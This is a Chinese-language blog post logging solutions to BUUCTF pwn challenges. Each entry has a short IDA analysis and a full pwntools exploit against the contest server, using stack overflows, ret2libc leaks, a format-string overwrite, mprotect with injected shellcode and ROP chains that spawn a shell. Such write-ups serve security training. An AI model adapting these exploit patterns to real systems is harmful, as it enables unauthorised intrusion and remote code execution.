[BUUCTF]Pwn刷题记录
阅读原文时间:2023年08月01日阅读:4

本部分内容长期更新,不再创建新文章影响阅读

根据IDA加载入main函数声明发现s数组距离rbp的距离为F,即为15,这里的运行环境是64位,所以应当将Caller's rbp的数据填满,在这里是8位,即可构造payload

from pwn import *
p=remote("node4.buuoj.cn", 25401)
#p=process("./pwn1")
payload=b'a'*15+b'b'*8+p64(0x401186+1)
p.sendline(payload)
p.interactive()

打开IDA主函数两条命令,很明显可利用漏洞就在vulnerable_function函数内,进入后看到buf很明显距离rbp有0x80位,再加上64位机多出来的8位,即覆盖0x80+0x8即可覆盖,另外有callsystem函数作为漏洞执行入口

from pwn import *
p=remote("node4.buuoj.cn", 27716)
#p=process("./level0")
payload=b'a'*136+p64(0x400596)
#p.sendline(payload)
p.sendlineafter('Hello, World\n',payload)
p.interactive()

首先获取程序的ROP信息ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'

后面的具体操作见代码注释

from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn", 27706)
#p=process("./ciscn_2019_c_1")
elf=ELF("./ciscn_2019_c_1")
main=0x400b28
rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
p.sendlineafter('Input your choice!\n', '1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)#构造以输出puts_got的内容
p.sendlineafter('Input your Plaintext to be encrypted\n', payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8, b'\0'))#得到puts函数的地址
libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump("puts")
sys_addr=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")#使用LibcSearcher找到对应的libc版本号
p.sendlineafter('choice!\n', '1')
#由于Ubuntu18运行机制与前面版本的不同,在调用system的时候需要进行栈对齐,在这里可以使用ret进行栈对齐
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(sys_addr)
#p.sendline(payload)
p.sendlineafter('encrypted\n',payload)
p.interactive()

经过暴力循环测试法,测得最终的libc版本为libc6_2.27-0ubuntu3_amd64,然后即可打通本poc

试着运行一下先,发现当输入的长度比较长的时候,回显会出现一点问题,所以合理猜测输出语句存在问题。

使用32位IDA载入,直接查看main函数

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &dword_804C044, 4u);
  printf("your name:");
  read(0, buf, 0x63u);
  printf("Hello,");
  printf(buf);
  printf("your passwd:");
  read(0, nptr, 0xFu);
  if ( atoi(nptr) == dword_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}

首先看了看栈溢出漏洞,read做了限制字符大小利用不了,但是看到了一个printf(buf)这就是一个明显的格式化字符漏洞,再结合题目分析一波,大概流程是随机生成一个数字存入到地址为dword_804C044的全局变量中,最后对输入的passwd字符进行比较,这里注意下atoi这个函数它只会提取正整数,除此之外都是返回0,因为dword变量是随机数,所以控制不了(之前见过一题也是随机数,但是它的随机种子在栈里面是可控的,然后用栈溢出,再引用ctypes库,加载libc.so.6然后就可以获得系统一样的随机数了),但是这题很明显就是通过printf(buf)这个漏洞去更改dword变量的值

关于格式化字符串攻击,这里可以从以下两个资料着手了解

详谈Format String

【整理笔记】格式化字符串漏洞梳理

利用AAAA %08x %08x %8x %08x %08x %08x %08x...这样的字符串来找到我们输入的参数在函数栈上的位置

假设是在栈中的第n位,则可利用%n$定位到参数在栈上的位置,特别值得一提的是,这里的%n中如果是n则默认只想ESP指向的栈顶的内容指向的内存地址,而如果是一个具体的数值x则是指向[ESP+x]

因此在这道题中,我们就可以把我们不知道的dword_804C044改为我们设定的数值即可,由此编写poc

from pwn import *

p = remote("node4.buuoj.cn", 28042)

addr=0x0804C044
payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)
payload+=b'%10$n%11$n%12$n%13$n'
p.sendline(payload)
p.sendline(str(0x10101010))
p.interactive()

最终得到flag

打开之后查main函数逻辑,然后你就会发现原来是一道水题- -,只要保证var数组第14位为0x11即可getshell,直接什么都不看编写poc梭哈

from pwn import *

p = remote("node4.buuoj.cn", 27097)

#addr=0x0804C044
payload=p32(0x11)*14
p.sendline(payload)
p.interactive()

梭哈成功

IDA分析,vulnerable_function中有关于buf的read函数,且buf距离ebp长度为0x88,而read指定长度为0x100,再经过checksec查看,确认存在栈溢出漏洞。

查看字符串发现程序内已经包含了/bin/sh字符串且具有system函数,因此溢出思路为填充buf跳转到system函数,然后传入字符串/bin/sh作为参数即可getshell,编写poc如下

from pwn import *

p = remote("node4.buuoj.cn", 28037)

binsh=0x0804A024
system=0x8048320
payload=b'a'*(0x88+4)+p32(system)+b'a'*4+p32(binsh)
p.sendline(payload)
p.interactive()

成功打通,cat flag

初期逻辑和前面一道题比较像,buf给一个随机数,然后拿用户输入与buf进行比较,显然这里没有利用空间。

在sub_804871F函数里面很明显看到有strlen(buf),这里有一个利用点,即strlen遇到\x00时直接截断,所以我们第一位直接截断即可绕过此部分,然后发现buf是一个7位数饿数组,但是在函数中有read(0, buf, 0x20u),经计算,v5就相当于buf的第8位,所以v5在这里可以被我们指定。

而另一个函数sub_80487D0中a1就是main函数中传入的v5,buf的地址为[ebp-E7],如果v5为127,则会执行第一条代码,C8<E7,不能覆盖返回地址,v5需要尽可能的大,才能覆盖到返回地址。

根据上述思路,进行exp编写,这里一开始是想在绕过之后利用read/write泄露地址然后通过LibcSearcher找到libc版本号的,但是发现不是很成功…通过泄露的地址未能找到正确的libc,结果回头一看题目里面已经给出libc了- -既然如此那就直接用了。真可谓众里寻他千百度,得来全不费工夫,最后把LibcSearcher的部分注释了,也算是一种复习吧

from pwn import *
from LibcSearcher import *

p = remote("node4.buuoj.cn", 28820)
elf=ELF('./pwn1')
libc=ELF('./libc-2.23.so')

system_libc=libc.symbols['system']
binsh_libc=next(libc.search(b'/bin/sh'))
write_plt=elf.plt['write']
write_got=elf.got['write']
write_libc=libc.symbols['write']
read_got=elf.got['read']
read_plt=elf.plt['read']

main_addr=0x8048825

#payload1-截断strlen
payload1=b'\x00'+b'\xff'*7
p.sendline(payload1)
p.recvuntil("Correct\n")

#pay;pad2 - 泄露read的got地址
payload=b'a'*(0xe7+4)+p32(write_plt)+p32(main_addr)
#                        ret1          ret2
payload+=p32(1)+p32(write_got)+p32(4)
#write     par1     par2        par3
#write_plt覆盖的是sub_80487D0函数的返回地址,而write函数是main函数的函数,所以后面需要有三个write的参数
p.sendline(payload)

write_addr=u32(p.recv(4))
print('[+]write_addr: ', hex(write_addr))#得到了write在内存中的位置 可以用题目提供的函数共享库算出system在内存中的位置

# libc=LibcSearcher('read', read_addr)
# libc_base=read_addr-libc.dump('read')
# system_addr=libc_base+libc.dump('system')
# binsh_addr=libc_base+libc.dump('str_bin_sh')
libc_base=write_addr-write_libc
system_addr=system_libc+libc_base
binsh_addr=binsh_libc+libc_base

p.sendline(payload1)
p.recvuntil("Correct\n")

payload=b'a'*(0xe7+4)
payload+=p32(system_addr)+p32(main_addr)+p32(binsh_addr)#第二次直接把返回地址改为addr地址
p.sendline(payload)

p.interactive()

checksec发现开了NX保护,所以栈内容执行不可用,考虑找其他后门函数,搜索flag关键字发现get_flag函数,打开发现是读取flag.txt,所以考虑只需要把return地址改在get_flag函数的if条件句之后即可正常执行,这里注意到main函数时候没有push ebp,所以在压进去0x38字节以后就直接到了return地址处,写出exp为

payload = b'a'*0x38 + p32(80489B8)

本地可以打通,但是连到buu远程发现提示core dumped,猜测是远程有内核保护机制,因此就只能尝试保证堆栈平衡的情况下进行处理了

case1

from pwn import *

context.log_level="debug"

#p=process('./get_started_3dsctf_2016')
p=remote('node4.buuoj.cn', 27394)
# 0x38 + get_flag入口 + exit地址维持堆栈平衡 + 传参a1, a2
payload = b'a'*0x38 + p32(0x80489A0) + p32(0x804E6A0) + p32(int(hex(814536271), 16)) + p32(int(hex(425138641), 16))

p.sendline(payload)

p.interactive()

case2

第二种是看到大佬的WP才知道的,还可以通过vmprotect来修改某块内存地址的读写权限来执行shell的,函数的具体情况如下

int mprotect(const void *startaddr, size_t len, int prot);

startaddr 内存起始地址, len修改内存的长度, prot 内存的权限

需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址startaddr必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。0x1000=4096

prot = 7 表示可读可写可执行4+2+1=7(r=4,w=2,x=1)

接着去找内存bss段的一段可用内存,这里我们使用gdb查找

可以看到0x080ea000到0x080ec000这一段是可读可写不可执行的,正符合我们的要求,所以我们就拿这一段来下手

由于在这个过程中我们分别要在mprotect和read里面输入三个参数,都需要维持栈平衡,所以我们需要找到一个进行三次pop的ROP,确保对战还原,程序正常运行,使用ROPgadget查找

ROPgadget --binary get_started --only 'pop|ret' | grep pop

找到了地址0x0804f460有3pop+ret结构,符合我们的要求,因此就用它了

到这里,我们的思路就基本明确了:首先从main函数跳转到mprotect函数,改变指定内存段的读写权限,然后再跳转到read函数,设置读取后将内容保存在前面修改过的内存地址里面,接着我们传入shellcode,获取flag即可,exp如下

from pwn import *

context.log_level="debug"

elf=ELF('./get_started_3dsctf_2016')
p=remote('node4.buuoj.cn', 27394)

pop3_ret = 0x0804f460

mem_addr = 0x080ea000
mem_size = 0x2000#根据差值计算
mem_proc = 0x7#777

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']

#payload = b'a'*0x38 + p32(0x80489A0) + p32(0x804E6A0) + p32(int(hex(814536271), 16)) + p32(int(hex(425138641), 16))
#覆盖+跳转地址到mprotect+pop3_ret
payload = b'a'*0x38 + p32(mprotect_addr) + p32(pop3_ret)
#mprotect的参数
payload += p32(mem_addr) + p32(mem_size) + p32(mem_proc)
payload += p32(read_addr) + p32(pop3_ret)
#read 的三个参数 read(0,0x080ea000,0x100)
#read函数参数1 ,从输入端读取,将我们生成的shellcode读入目标内存地址
#读取到的内容复制到指向的内存里
payload += p32(0x100) #读取大小
payload += p32(0) + p32(mem_addr) + p32(0x100)

payload += p32(mem_addr) #ret esi

#p.sendline('100')
p.sendline(payload)
shellcode = asm(shellcraft.sh(),arch='i386', os='linux')
p.sendline(shellcode)

题目拿到手分析有NX保护,排除栈内shellcode一类,打开一看,还是栈溢出,基本轻车熟路了,看到有system可以调用,又看到.data表里面有/bin/sh可以调用,那就直接开搓

from pwn import *

context.log_level="debug"

#p=process('./level2_x64')
p=remote('node4.buuoj.cn', 28117)

pop_rdi_ret_addr=0x00000000004006b3
system_addr=0x40063E
binsh_addr=0x600A90

payload = 'a'*0x80 + 'a'*8 + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
#p.sendline('100')
p.sendline(payload)

p.interactive()

老花样,栈溢出找到system调用/bin/sh即可

from pwn import *

context.log_level="debug"

#p=process('./level2_x64')
p=remote('node4.buuoj.cn', 26354)

system_addr = 0x4005E3
rdi_ret_addr = 0x0000000000400683
binsh_addr = 0x601048

payload = 'a'*0x10 + 'a'*8 + p64(rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload)

p.interactive()

保护全关,第一段输入将shellcode写入bss,第二段利用溢出修改返回地址执行shell即可

from pwn import *
from LibcSearcher import *

context.log_level="debug"

context(os='linux',arch='amd64', log_level = 'debug')

#p=process('./ciscn_2019_n_5')
elf=ELF('./ciscn_2019_n_5')
p=remote('node4.buuoj.cn', 27642)

bss_addr=0x601080
shellcode=asm(shellcraft.sh())
payload='a'*(0x20 + 0x8) + p64(bss_addr)

p.recvuntil('name')
p.sendline(shellcode)
p.recvuntil('?')
p.sendline(payload)
p.interactive()

这是个啥题啊,直接nc连上就shell了,自始至终都觉得哪里不对劲,但是flag提交成功…

这题目有意思,前面都平平无奇,打开以后发现通过admin校验以后可以输出和输出内容,而输入大小是128,最后输出时候使用strcpy存入的数组大小明显小于此值,因此可以构成栈溢出,修改返回地址到system,这里没有/bin/sh字符串,但是有一个fflush可以构造出sh,居然也可以用,新的知识点++,到这里就直接开写了

from pwn import *
from LibcSearcher import *

context.log_level="debug"

#context(os='linux',arch='i386', log_level = 'debug')

#p=process('./ciscn_2019_ne_5')
e=ELF('./ciscn_2019_ne_5')
p=remote('node4.buuoj.cn', 27192)

#binsh_addr=0x080482EA
ret_addr=0x0804843e
popebp_ret_addr=0x08048720
binsh_addr=0x080482ea
system_addr=e.symbols['system']

p.sendlineafter('word:', 'administrator')
p.sendlineafter(':','1')

payload = 'a'*(0x48 + 0x4) + p32(system_addr) + p32(binsh_addr) + p32(binsh_addr)
p.sendline(payload)
p.sendlineafter(':','4')
p.interactive()

看似没有什么问题吧,但是放到buu上面一跑

timeout: the monitored command dumped core

检查多遍未果,又和师傅们交流也没下文,后来有个师傅自己写了一遍跑通了,遂检查不同之处,发现师傅的system_addr是手写的,于是自己也去找到_system填入地址,写成新的exp

from pwn import *
from LibcSearcher import *

context.log_level="debug"

#context(os='linux',arch='i386', log_level = 'debug')

#p=process('./ciscn_2019_ne_5')
e=ELF('./ciscn_2019_ne_5')
p=remote('node4.buuoj.cn', 27192)

#binsh_addr=0x080482EA
ret_addr=0x0804843e
popebp_ret_addr=0x08048720
binsh_addr=0x080482ea
#system_addr=e.symbols['system']
system_addr=0x80484d0

p.sendlineafter('word:', 'administrator')
p.sendlineafter(':','1')

payload = 'a'*(0x48 + 0x4) + p32(system_addr) + p32(binsh_addr) + p32(binsh_addr)
p.sendline(payload)
p.sendlineafter(':','4')
p.interactive()

通了…后来又仔细看了一下使用symbols输出的地址为0x804a024,回去一看读的是plt-got段的system地址…真是害人不浅啊

checksec看到保护全关,进IDA分析就是很简单的一串逻辑,在第二个函数处看到了明显的溢出,但是题目里面没有直接提供shell相关操作,所以判断本题为ret2libc,题目中给到了write函数,所以考虑使用write函数来泄露

关于write参数fd我找到了如下解释

write() writes up to count bytes from the buffer starting at buf to the file referred to by the file descriptor fd.

概言之,就是0 stands for stdin and 1 stands for stdout,不一定正确,但是有助于记忆

from pwn import *
from LibcSearcher import *

#context.log_level="debug"

context(os='linux',arch='i386', log_level = 'debug')

#p=process('./2018_rop')
elf=ELF('./2018_rop')
p=remote('node4.buuoj.cn', 26830)

main_addr = 0x080484C6
write_plt = elf.plt['write']
write_got = elf.got['write']

payload = b'a'*(0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.sendline(payload)
write_addr = u32(p.recv(4))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload=b'a'*(0x88+0x4) + p32(system_addr) + p32(system_addr) + p32(binsh_addr)
p.sendline(payload)
p.interactive()